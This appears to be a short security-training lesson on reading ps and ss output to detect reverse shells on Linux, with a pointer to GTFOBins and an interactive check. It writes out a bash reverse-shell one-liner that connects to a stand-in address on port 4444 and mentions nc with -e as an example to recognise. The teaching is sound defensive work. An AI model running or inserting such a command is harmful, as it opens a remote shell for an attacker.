Theory · 8 min · Linux monitoring
Live processes and reverse shells
Read ps and ss output and recognise a reverse shell.
ps -ef (or ps auxf for a tree) lists processes with their parent. ss -tunap lists sockets with the owning process. Together they answer "what is running and who is it talking to".
A reverse shell connects out from the victim to the attacker, so firewalls that only block inbound traffic let it through. Common forms: bash -i >& /dev/tcp/198.51.100.4/4444 0>&1, or nc with -e.
A web server user (www-data, apache, nginx) with a child shell, or any shell whose standard input is a network socket, is a strong sign.
GTFOBins documents how ordinary Unix binaries can be abused to spawn shells or read files; it is the Linux counterpart of LOLBAS.
Your turn: decide on a scenario. Which process is most likely a reverse shell?
Do the interactive check Free, in the browser.
Sources
- GTFOBins (Unix binaries that can be abused) GTFOBins
- ATT&CK T1190: Exploit Public-Facing Application MITRE ATT&CK v20